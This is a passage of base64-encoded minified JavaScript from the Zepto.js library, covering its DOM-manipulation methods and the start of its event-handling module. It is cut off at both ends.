dW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnBhcmVudE5vZGUhPW51bGwmJnRoaXMucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzKX0pfSxlYWNoOmZ1bmN0aW9uKGEpe3JldHVybiBlLmV2ZXJ5LmNhbGwodGhpcyxmdW5jdGlvbihiLGMpe3JldHVybiBhLmNhbGwoYixjLGIpIT09ITF9KSx0aGlzfSxmaWx0ZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIEgoYSk/dGhpcy5ub3QodGhpcy5ub3QoYSkpOmMoZy5jYWxsKHRoaXMsZnVuY3Rpb24oYil7cmV0dXJuIEIubWF0Y2hlcyhiLGEpfSkpfSxhZGQ6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYyhEKHRoaXMuY29uY2F0KGMoYSxiKSkpKX0saXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMubGVuZ3RoPjAmJkIubWF0Y2hlcyh0aGlzWzBdLGEpfSxub3Q6ZnVuY3Rpb24oYil7dmFyIGQ9W107aWYoSChiKSYmYi5jYWxsIT09YSl0aGlzLmVhY2goZnVuY3Rpb24oYSl7Yi5jYWxsKHRoaXMsYSl8fGQucHVzaCh0aGlzKX0pO2Vsc2V7dmFyIGU9dHlwZW9mIGI9PSJzdHJpbmciP3RoaXMuZmlsdGVyKGIpOk4oYikmJkgoYi5pdGVtKT9mLmNhbGwoYik6YyhiKTt0aGlzLmZvckVhY2goZnVuY3Rpb24oYSl7ZS5pbmRleE9mKGEpPDAmJmQucHVzaChhKX0pfXJldHVybiBjKGQpfSxoYXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuZmlsdGVyKGZ1bmN0aW9uKCl7cmV0dXJuIEsoYSk/Yy5jb250YWlucyh0aGlzLGEpOmModGhpcykuZmluZChhKS5zaXplKCl9KX0sZXE6ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PT0tMT90aGlzLnNsaWNlKGEpOnRoaXMuc2xpY2UoYSwrYSsxKX0sZmlyc3Q6ZnVuY3Rpb24oKXt2YXIgYT10aGlzWzBdO3JldHVybiBhJiYhSyhhKT9hOmMoYSl9LGxhc3Q6ZnVuY3Rpb24oKXt2YXIgYT10aGlzW3RoaXMubGVuZ3RoLTFdO3JldHVybiBhJiYhSyhhKT9hOmMoYSl9LGZpbmQ6ZnVuY3Rpb24oYSl7dmFyIGIsZD10aGlzO3JldHVybiB0eXBlb2YgYT09Im9iamVjdCI/Yj1jKGEpLmZpbHRlcihmdW5jdGlvbigpe3ZhciBhPXRoaXM7cmV0dXJuIGUuc29tZS5jYWxsKGQsZnVuY3Rpb24oYil7cmV0dXJuIGMuY29udGFpbnMoYixhKX0pfSk6dGhpcy5sZW5ndGg9PTE/Yj1jKEIucXNhKHRoaXNbMF0sYSkpOmI9dGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gQi5xc2EodGhpcyxhKX0pLGJ9LGNsb3Nlc3Q6ZnVuY3Rpb24oYSxiKXt2YXIgZD10aGlzWzBdLGU9ITE7dHlwZW9mIGE9PSJvYmplY3QiJiYoZT1jKGEpKTt3aGlsZShkJiYhKGU/ZS5pbmRleE9mKGQpPj0wOkIubWF0Y2hlcyhkLGEpKSlkPWQhPT1iJiYhSihkKSYmZC5wYXJlbnROb2RlO3JldHVybiBjKGQpfSxwYXJlbnRzOmZ1bmN0aW9uKGEpe3ZhciBiPVtdLGQ9dGhpczt3aGlsZShkLmxlbmd0aD4wKWQ9Yy5tYXAoZCxmdW5jdGlvbihhKXtpZigoYT1hLnBhcmVudE5vZGUpJiYhSihhKSYmYi5pbmRleE9mKGEpPDApcmV0dXJuIGIucHVzaChhKSxhfSk7cmV0dXJuIFcoYixhKX0scGFyZW50OmZ1bmN0aW9uKGEpe3JldHVybiBXKEQodGhpcy5wbHVjaygicGFyZW50Tm9kZSIpKSxhKX0sY2hpbGRyZW46ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gVSh0aGlzKX0pLGEpfSxjb250ZW50czpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBmLmNhbGwodGhpcy5jaGlsZE5vZGVzKX0pfSxzaWJsaW5nczpmdW5jdGlvbihhKXtyZXR1cm4gVyh0aGlzLm1hcChmdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoVShiLnBhcmVudE5vZGUpLGZ1bmN0aW9uKGEpe3JldHVybiBhIT09Yn0pfSksYSl9LGVtcHR5OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuaW5uZXJIVE1MPSIifSl9LHBsdWNrOmZ1bmN0aW9uKGEpe3JldHVybiBjLm1hcCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBiW2FdfSl9LHNob3c6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5kaXNwbGF5PT0ibm9uZSImJih0aGlzLnN0eWxlLmRpc3BsYXk9IiIpLGdldENvbXB1dGVkU3R5bGUodGhpcywiIikuZ2V0UHJvcGVydHlWYWx1ZSgiZGlzcGxheSIpPT0ibm9uZSImJih0aGlzLnN0eWxlLmRpc3BsYXk9VCh0aGlzLm5vZGVOYW1lKSl9KX0scmVwbGFjZVdpdGg6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuYmVmb3JlKGEpLnJlbW92ZSgpfSx3cmFwOmZ1bmN0aW9uKGEpe3ZhciBiPUgoYSk7aWYodGhpc1swXSYmIWIpdmFyIGQ9YyhhKS5nZXQoMCksZT1kLnBhcmVudE5vZGV8fHRoaXMubGVuZ3RoPjE7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihmKXtjKHRoaXMpLndyYXBBbGwoYj9hLmNhbGwodGhpcyxmKTplP2QuY2xvbmVOb2RlKCEwKTpkKX0pfSx3cmFwQWxsOmZ1bmN0aW9uKGEpe2lmKHRoaXNbMF0pe2ModGhpc1swXSkuYmVmb3JlKGE9YyhhKSk7dmFyIGI7d2hpbGUoKGI9YS5jaGlsZHJlbigpKS5sZW5ndGgpYT1iLmZpcnN0KCk7YyhhKS5hcHBlbmQodGhpcyl9cmV0dXJuIHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZCl7dmFyIGU9Yyh0aGlzKSxmPWUuY29udGVudHMoKSxnPWI/YS5jYWxsKHRoaXMsZCk6YTtmLmxlbmd0aD9mLndyYXBBbGwoZyk6ZS5hcHBlbmQoZyl9KX0sdW53cmFwOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucGFyZW50KCkuZWFjaChmdW5jdGlvbigpe2ModGhpcykucmVwbGFjZVdpdGgoYyh0aGlzKS5jaGlsZHJlbigpKX0pLHRoaXN9LGNsb25lOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2xvbmVOb2RlKCEwKX0pfSxoaWRlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY3NzKCJkaXNwbGF5Iiwibm9uZSIpfSx0b2dnbGU6ZnVuY3Rpb24oYil7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBkPWModGhpcyk7KGI9PT1hP2QuY3NzKCJkaXNwbGF5Iik9PSJub25lIjpiKT9kLnNob3coKTpkLmhpZGUoKX0pfSxwcmV2OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soInByZXZpb3VzRWxlbWVudFNpYmxpbmciKSkuZmlsdGVyKGF8fCIqIil9LG5leHQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGModGhpcy5wbHVjaygibmV4dEVsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxodG1sOmZ1bmN0aW9uKGEpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPT09MD90aGlzLmxlbmd0aD4wP3RoaXNbMF0uaW5uZXJIVE1MOm51bGw6dGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPXRoaXMuaW5uZXJIVE1MO2ModGhpcykuZW1wdHkoKS5hcHBlbmQoWCh0aGlzLGEsYixkKSl9KX0sdGV4dDpmdW5jdGlvbihiKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLnRleHRDb250ZW50Om51bGw6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy50ZXh0Q29udGVudD1iPT09YT8iIjoiIitifSl9LGF0dHI6ZnVuY3Rpb24oYyxkKXt2YXIgZTtyZXR1cm4gdHlwZW9mIGM9PSJzdHJpbmciJiZkPT09YT90aGlzLmxlbmd0aD09MHx8dGhpc1swXS5ub2RlVHlwZSE9PTE/YTpjPT0idmFsdWUiJiZ0aGlzWzBdLm5vZGVOYW1lPT0iSU5QVVQiP3RoaXMudmFsKCk6IShlPXRoaXNbMF0uZ2V0QXR0cmlidXRlKGMpKSYmYyBpbiB0aGlzWzBdP3RoaXNbMF1bY106ZTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7aWYodGhpcy5ub2RlVHlwZSE9PTEpcmV0dXJuO2lmKEsoYykpZm9yKGIgaW4gYylZKHRoaXMsYixjW2JdKTtlbHNlIFkodGhpcyxjLFgodGhpcyxkLGEsdGhpcy5nZXRBdHRyaWJ1dGUoYykpKX0pfSxyZW1vdmVBdHRyOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLm5vZGVUeXBlPT09MSYmWSh0aGlzLGEpfSl9LHByb3A6ZnVuY3Rpb24oYixjKXtyZXR1cm4gYj1GW2JdfHxiLGM9PT1hP3RoaXNbMF0mJnRoaXNbMF1bYl06dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe3RoaXNbYl09WCh0aGlzLGMsYSx0aGlzW2JdKX0pfSxkYXRhOmZ1bmN0aW9uKGIsYyl7dmFyIGQ9dGhpcy5hdHRyKCJkYXRhLSIrYi5yZXBsYWNlKHAsIi0kMSIpLnRvTG93ZXJDYXNlKCksYyk7cmV0dXJuIGQhPT1udWxsPyQoZCk6YX0sdmFsOmZ1bmN0aW9uKGEpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPT09MD90aGlzWzBdJiYodGhpc1swXS5tdWx0aXBsZT9jKHRoaXNbMF0pLmZpbmQoIm9wdGlvbiIpLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiB0aGlzLnNlbGVjdGVkfSkucGx1Y2soInZhbHVlIik6dGhpc1swXS52YWx1ZSk6dGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3RoaXMudmFsdWU9WCh0aGlzLGEsYix0aGlzLnZhbHVlKX0pfSxvZmZzZXQ6ZnVuY3Rpb24oYSl7aWYoYSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPWModGhpcyksZT1YKHRoaXMsYSxiLGQub2Zmc2V0KCkpLGY9ZC5vZmZzZXRQYXJlbnQoKS5vZmZzZXQoKSxnPXt0b3A6ZS50b3AtZi50b3AsbGVmdDplLmxlZnQtZi5sZWZ0fTtkLmNzcygicG9zaXRpb24iKT09InN0YXRpYyImJihnLnBvc2l0aW9uPSJyZWxhdGl2ZSIpLGQuY3NzKGcpfSk7aWYodGhpcy5sZW5ndGg9PTApcmV0dXJuIG51bGw7dmFyIGI9dGhpc1swXS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTtyZXR1cm57bGVmdDpiLmxlZnQrd2luZG93LnBhZ2VYT2Zmc2V0LHRvcDpiLnRvcCt3aW5kb3cucGFnZVlPZmZzZXQsd2lkdGg6TWF0aC5yb3VuZChiLndpZHRoKSxoZWlnaHQ6TWF0aC5yb3VuZChiLmhlaWdodCl9fSxjc3M6ZnVuY3Rpb24oYSxkKXtpZihhcmd1bWVudHMubGVuZ3RoPDIpe3ZhciBlPXRoaXNbMF0sZj1nZXRDb21wdXRlZFN0eWxlKGUsIiIpO2lmKCFlKXJldHVybjtpZih0eXBlb2YgYT09InN0cmluZyIpcmV0dXJuIGUuc3R5bGVbQyhhKV18fGYuZ2V0UHJvcGVydHlWYWx1ZShhKTtpZihNKGEpKXt2YXIgZz17fTtyZXR1cm4gYy5lYWNoKE0oYSk/YTpbYV0sZnVuY3Rpb24oYSxiKXtnW2JdPWUuc3R5bGVbQyhiKV18fGYuZ2V0UHJvcGVydHlWYWx1ZShiKX0pLGd9fXZhciBoPSIiO2lmKEcoYSk9PSJzdHJpbmciKSFkJiZkIT09MD90aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KFEoYSkpfSk6aD1RKGEpKyI6IitTKGEsZCk7ZWxzZSBmb3IoYiBpbiBhKSFhW2JdJiZhW2JdIT09MD90aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KFEoYikpfSk6aCs9UShiKSsiOiIrUyhiLGFbYl0pKyI7IjtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5jc3NUZXh0Kz0iOyIraH0pfSxpbmRleDpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmluZGV4T2YoYyhhKVswXSk6dGhpcy5wYXJlbnQoKS5jaGlsZHJlbigpLmluZGV4T2YodGhpc1swXSl9LGhhc0NsYXNzOmZ1bmN0aW9uKGEpe3JldHVybiBhP2Uuc29tZS5jYWxsKHRoaXMsZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMudGVzdChaKGEpKX0sUihhKSk6ITF9LGFkZENsYXNzOmZ1bmN0aW9uKGEpe3JldHVybiBhP3RoaXMuZWFjaChmdW5jdGlvbihiKXtkPVtdO3ZhciBlPVoodGhpcyksZj1YKHRoaXMsYSxiLGUpO2Yuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2ModGhpcykuaGFzQ2xhc3MoYSl8fGQucHVzaChhKX0sdGhpcyksZC5sZW5ndGgmJloodGhpcyxlKyhlPyIgIjoiIikrZC5qb2luKCIgIikpfSk6dGhpc30scmVtb3ZlQ2xhc3M6ZnVuY3Rpb24oYil7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihjKXtpZihiPT09YSlyZXR1cm4gWih0aGlzLCIiKTtkPVoodGhpcyksWCh0aGlzLGIsYyxkKS5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYSl7ZD1kLnJlcGxhY2UoUihhKSwiICIpfSksWih0aGlzLGQudHJpbSgpKX0pfSx0b2dnbGVDbGFzczpmdW5jdGlvbihiLGQpe3JldHVybiBiP3RoaXMuZWFjaChmdW5jdGlvbihlKXt2YXIgZj1jKHRoaXMpLGc9WCh0aGlzLGIsZSxaKHRoaXMpKTtnLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihiKXsoZD09PWE/IWYuaGFzQ2xhc3MoYik6ZCk/Zi5hZGRDbGFzcyhiKTpmLnJlbW92ZUNsYXNzKGIpfSl9KTp0aGlzfSxzY3JvbGxUb3A6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsVG9wImluIHRoaXNbMF07cmV0dXJuIGI9PT1hP2M/dGhpc1swXS5zY3JvbGxUb3A6dGhpc1swXS5wYWdlWU9mZnNldDp0aGlzLmVhY2goYz9mdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG9wPWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyh0aGlzLnNjcm9sbFgsYil9KX0sc2Nyb2xsTGVmdDpmdW5jdGlvbihiKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBjPSJzY3JvbGxMZWZ0ImluIHRoaXNbMF07cmV0dXJuIGI9PT1hP2M/dGhpc1swXS5zY3JvbGxMZWZ0OnRoaXNbMF0ucGFnZVhPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbExlZnQ9Yn06ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvKGIsdGhpcy5zY3JvbGxZKX0pfSxwb3NpdGlvbjpmdW5jdGlvbigpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGE9dGhpc1swXSxiPXRoaXMub2Zmc2V0UGFyZW50KCksZD10aGlzLm9mZnNldCgpLGU9by50ZXN0KGJbMF0ubm9kZU5hbWUpP3t0b3A6MCxsZWZ0OjB9OmIub2Zmc2V0KCk7cmV0dXJuIGQudG9wLT1wYXJzZUZsb2F0KGMoYSkuY3NzKCJtYXJnaW4tdG9wIikpfHwwLGQubGVmdC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLWxlZnQiKSl8fDAsZS50b3ArPXBhcnNlRmxvYXQoYyhiWzBdKS5jc3MoImJvcmRlci10b3Atd2lkdGgiKSl8fDAsZS5sZWZ0Kz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItbGVmdC13aWR0aCIpKXx8MCx7dG9wOmQudG9wLWUudG9wLGxlZnQ6ZC5sZWZ0LWUubGVmdH19LG9mZnNldFBhcmVudDpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3ZhciBhPXRoaXMub2Zmc2V0UGFyZW50fHxoLmJvZHk7d2hpbGUoYSYmIW8udGVzdChhLm5vZGVOYW1lKSYmYyhhKS5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiKWE9YS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGF9KX19LGMuZm4uZGV0YWNoPWMuZm4ucmVtb3ZlLFsid2lkdGgiLCJoZWlnaHQiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPWIucmVwbGFjZSgvLi8sZnVuY3Rpb24oYSl7cmV0dXJuIGFbMF0udG9VcHBlckNhc2UoKX0pO2MuZm5bYl09ZnVuY3Rpb24oZSl7dmFyIGYsZz10aGlzWzBdO3JldHVybiBlPT09YT9JKGcpP2dbImlubmVyIitkXTpKKGcpP2cuZG9jdW1lbnRFbGVtZW50WyJzY3JvbGwiK2RdOihmPXRoaXMub2Zmc2V0KCkpJiZmW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXtnPWModGhpcyksZy5jc3MoYixYKHRoaXMsZSxhLGdbYl0oKSkpfSl9fSksci5mb3JFYWNoKGZ1bmN0aW9uKGEsYil7dmFyIGQ9YiUyO2MuZm5bYV09ZnVuY3Rpb24oKXt2YXIgYSxlPWMubWFwKGFyZ3VtZW50cyxmdW5jdGlvbihiKXtyZXR1cm4gYT1HKGIpLGE9PSJvYmplY3QifHxhPT0iYXJyYXkifHxiPT1udWxsP2I6Qi5mcmFnbWVudChiKX0pLGYsZz10aGlzLmxlbmd0aD4xO3JldHVybiBlLmxlbmd0aDwxP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGEsaCl7Zj1kP2g6aC5wYXJlbnROb2RlLGg9Yj09MD9oLm5leHRTaWJsaW5nOmI9PTE/aC5maXJzdENoaWxkOmI9PTI/aDpudWxsLGUuZm9yRWFjaChmdW5jdGlvbihhKXtpZihnKWE9YS5jbG9uZU5vZGUoITApO2Vsc2UgaWYoIWYpcmV0dXJuIGMoYSkucmVtb3ZlKCk7XyhmLmluc2VydEJlZm9yZShhLGgpLGZ1bmN0aW9uKGEpe2Eubm9kZU5hbWUhPW51bGwmJmEubm9kZU5hbWUudG9VcHBlckNhc2UoKT09PSJTQ1JJUFQiJiYoIWEudHlwZXx8YS50eXBlPT09InRleHQvamF2YXNjcmlwdCIpJiYhYS5zcmMmJndpbmRvdy5ldmFsLmNhbGwod2luZG93LGEuaW5uZXJIVE1MKX0pfSl9KX0sYy5mbltkP2ErIlRvIjoiaW5zZXJ0IisoYj8iQmVmb3JlIjoiQWZ0ZXIiKV09ZnVuY3Rpb24oYil7cmV0dXJuIGMoYilbYV0odGhpcyksdGhpc319KSxCLloucHJvdG90eXBlPWMuZm4sQi51bmlxPUQsQi5kZXNlcmlhbGl6ZVZhbHVlPSQsYy56ZXB0bz1CLGN9KCk7d2luZG93LlplcHRvPVplcHRvLHdpbmRvdy4kPT09dW5kZWZpbmVkJiYod2luZG93LiQ9WmVwdG8pLGZ1bmN0aW9uKGEpe2Z1bmN0aW9uIG0oYSl7cmV0dXJuIGEuX3ppZHx8KGEuX3ppZD1jKyspfWZ1bmN0aW9uIG4oYSxiLGMsZCl7Yj1vKGIpO2lmKGIubnMpdmFyIGU9cChiLm5zKTtyZXR1cm4oaFttKGEpXXx8W10pLmZpbHRlcihmdW5jdGlvbihhKXtyZXR1cm4gYSYmKCFiLmV8fGEuZT09Yi5lKSYmKCFiLm5zfHxlLnRlc3QoYS5ucykpJiYoIWN8fG0oYS5mbik9PT1tKGMpKSYmKCFkfHxhLnNlbD09ZCl9KX1mdW5jdGlvbiBvKGEpe3ZhciBiPSgiIithKS5zcGxpdCgiLiIpO3JldHVybntlOmJbMF0sbnM6Yi5zbGljZSgxKS5zb3J0KCkuam9pbigiICIpfX1mdW5jdGlvbiBwKGEpe3JldHVybiBuZXcgUmVnRXhwKCIoPzpefCApIithLnJlcGxhY2UoIiAiLCIgLiogPyIpKyIoPzogfCQpIil9ZnVuY3Rpb24gcShhLGIpe3JldHVybiBhLmRlbCYmIWomJmEuZSBpbiBrfHwhIWJ9ZnVuY3Rpb24gcihhKXtyZXR1cm4gbFthXXx8aiYma1thXXx8YX1mdW5jdGlvbiBzKGIsYyxlLGYsZyxpLGope3ZhciBrPW0oYiksbj1oW2tdfHwoaFtrXT1bXSk7Yy5zcGxpdCgvXHMvKS5mb3JFYWNoKGZ1bmN0aW9uKGMpe2lmKGM9PSJyZWFkeSIpcmV0dXJuIGEoZG9jdW1lbnQpLnJlYWR5KGUpO3ZhciBoPW8oYyk7aC5mbj1lLGguc2VsPWcsaC5lIGluIGwmJihlPWZ1bmN0aW9uKGIpe3ZhciBjPWIucmVsYXRlZFRhcmdldDtpZighY3x8YyE9PXRoaXMmJiFhLmNvbnRhaW5zKHRoaXMsYykpcmV0dXJuIGguZm4uYXBwbHkodGhpcyxhcmd1bWVudHMpfSksaC5kZWw9aTt2YXIgaz1pfHxlO2gucHJveHk9ZnVuY3Rpb24oYSl7YT15KGEpO2lmKGEuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQoKSlyZXR1cm47YS5kYXRhPWY7dmFyIGM9ay5hcHBseShiLGEuX2FyZ3M9PWQ/W2FdOlthXS5jb25jYXQoYS5fYXJncykpO3JldHVybiBjPT09ITEmJihhLnByZXZlbnREZWZhdWx0KCksYS5zdG9wUHJvcGFnYXRpb24oKSksY30saC5pPW4ubGVuZ3RoLG4ucHVzaChoKSwiYWRkRXZlbnRMaXN0ZW5lciJpbiBiJiZiLmFkZEV2ZW50TGlzdGVuZXIocihoLmUpLGgucHJveHkscShoLGopKX0pfWZ1bmN0aW9uIHQoYSxiLGMsZCxlKXt2YXIgZj1tKGEpOyhifHwiIikuc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihiKXtuKGEsYixjLGQpLmZvckVhY2goZnVuY3Rpb24oYil7ZGVsZXRlIGhbZl1bYi5pXSwicmVtb3ZlRXZlbnRMaXN0ZW5lciJpbiBhJiZhLnJlbW92ZUV2ZW50TGlzdGVuZXIocihiLmUpLGIucHJveHkscShiLGUpKX0pfSl9ZnVuY3Rpb24geShiLGMpe2lmKGN8fCFiLmlzRGVmYXVsdFByZXZlbnRlZCl7Y3x8KGM9YiksYS5lYWNoKHgsZnVuY3Rpb24oYSxkKXt2YXIgZT1jW2FdO2JbYV09ZnVuY3Rpb24oKXtyZXR1cm4gdGhpc1tkXT11LGUmJmUuYXBwbHkoYyxhcmd1bWVudHMpfSxiW2RdPXZ9KTtpZihjLmRlZmF1bHRQcmV2ZW50ZWQhPT1kP2MuZGVmYXVsdFByZXZlbnRlZDoicmV0dXJuVmFsdWUiaW4gYz9jLnJldHVyblZhbHVlPT09ITE6Yy5nZXRQcmV2ZW50RGVmYXVsdCYmYy5nZXRQcmV2ZW50RGVmYXVsdCgpKWIuaXNEZWZhdWx0UHJldmVudGVkPXV9cmV0dXJuIGJ9ZnVuY3Rpb24geihhKXt2YXIgYixjPXtvcmlnaW5hbEV2ZW50OmF9O2ZvcihiIGluIGEpIXcudGVzdChiKSYmYVtiXSE9PWQmJihjW2JdPWFbYl0pO3JldHVybiB5KGMsYSl9dmFyIGI9YS56ZXB0by5xc2EsYz0xLGQsZT1BcnJheS5wcm90b3R5cGUuc2xpY2UsZj1hLmlzRnVuY3Rpb24sZz1mdW5jdGlvbihhKXtyZXR1cm4gdHlwZW9mIGE9PSJzdHJpbmcifSxoPXt9LGk9e30saj0ib25mb2N1c2luImluIHdpbmRvdyxrPXtmb2N1czoiZm9jdXNpbiIsYmx1cjoiZm9jdXNvdXQifSxsPXttb3VzZWVudGVyOiJtb3VzZW92ZXIiLG1vdXNlbGVhdmU6Im1vdXNlb3V0In07aS5jbGljaz1pLm1vdXNlZG93bj1pLm1vdXNldXA9aS5tb3VzZW1vdmU9Ik1vdXNlRXZlbnRzIixhLmV2ZW50PXthZGQ6cyxyZW1vdmU6dH0sYS5wcm94eT1mdW5jdGlvbihiLGMpe2lmKGYoYikpe3ZhciBkPWZ1bmN0aW9uKCl7cmV0dXJuIGIuYXBwbHkoYyxhcmd1bWVudHMpfTtyZXR1cm4gZC5femlkPW0oYiksZH1pZihnKGMpKXJldHVybiBhLnByb3h5KGJbY10sYik7dGhyb3cgbmV3IFR5cGVFcnJvcigiZXhwZWN0ZWQgZnVuY3Rpb24iKX0sYS5mbi5iaW5kPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gdGhpcy5vbihhLGIsYyl9LGEuZm4udW5iaW5kPWZ1bmN0aW9uKGEsYil7cmV0dXJuIHRoaXMub2ZmKGEsYil9LGEuZm4ub25lPWZ1bmN0aW9uKGEsYixjLGQpe3JldHVybiB0aGlzLm9uKGEsYixjLGQsMSl9O3ZhciB1PWZ1bmN0aW9uKCl7cmV0dXJuITB9LHY9ZnVuY3Rpb24oKXtyZXR1cm4hMX0sdz0vXihbQS1aXXxyZXR1cm5WYWx1ZSR8bGF5ZXJbWFldJCkvLHg9e3ByZXZlbnREZWZhdWx0OiJpc0RlZmF1bHRQcmV2ZW50ZWQiLHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjoiaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQiLHN0b3BQcm9wYWdhdGlvbjoiaXNQcm9wYWdhdGlvblN0b3BwZWQifTthLmZuLmRlbGVnYXRlPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gdGhpcy5vbihiLGEsYyl9LGEuZm4udW5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub2ZmKGIsYSxjKX0sYS5mbi5saXZlPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGEoZG9jdW1lbnQuYm9keSkuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4uZGllPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGEoZG9jdW1lbnQuYm9keSkudW5kZWxlZ2F0ZSh0aGlzLnNlbGVjdG9yLGIsYyksdGhpc30sYS5mbi5vbj1mdW5jdGlvbihiLGMsaCxpLGope3ZhciBrLGwsbT10aGlzO2lmKGImJiFnKGIpKXJldHVybiBhLmVhY2goYixmdW5jdGlvbihhLGIpe20ub24oYSxjLGgsYixqKX0pLG07IWcoYykmJiFmKGkpJiZpIT09ITEmJihpPWgsaD1jLGM9ZCk7aWYoZihoKXx8aD09PSExKWk9aCxoPWQ7cmV0dXJuIGk9PT0hMSYmKGk9diksbS5lYWNoKGZ1bmN0aW9uKGQsZil7aiYmKGs9ZnVuY3Rpb24oYSl7cmV0dXJuIHQoZixhLnR5cGUsaSksaS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9KSxjJiYobD1mdW5jdGlvbihiKXt2YXIgZCxnPWEoYi50YXJnZXQpLmNsb3Nlc3QoYyxmKS5nZXQoMCk7aWYoZyYmZyE9PWYpcmV0dXJuIGQ9YS5leHRlbmQoeihiKSx7Y3VycmVudFRhcmdldDpnLGxpdmVGaXJlZDpmfSksKGt8fGkpLmFwcGx5KGcsW2RdLmNvbmNhdChlLmNhbGwoYXJndW1lbnRzLDEpKSl9KSxzKGYsYixpLGgsYyxsfHxrKX0pfSxhLmZuLm9mZj1mdW5jdGlvbihiLGMsZSl7dmFyIGg9dGhpcztyZXR1cm4gYiYmIWcoYik/KGEuZWFjaChiLGZ1bmN0aW9uKGEsYil7aC5vZmYoYSxjLGIpfSksaCk6KCFnKGMpJiYhZihlKSYmZSE9PSExJiYoZT1jLGM9ZCksZT09PSExJiYoZT12KSxoLmVhY2goZnVuY3Rpb24oKXt0KHRoaXMsYixlLGMpfSkpfSxhLmZuLnRyaWdnZXI9ZnVuY3Rpb24oYixjKXtyZXR1cm4gYj1nKGIpfHxhLmlzUGxhaW5PYmplY3QoYik/YS5FdmVudChiKTp5KGIpLGIuX2FyZ3M9Yyx0aGlzLmVhY2goZnVuY3Rpb24oKXsiZGlzcGF0Y2hFdmVudCJpbiB0aGlzP3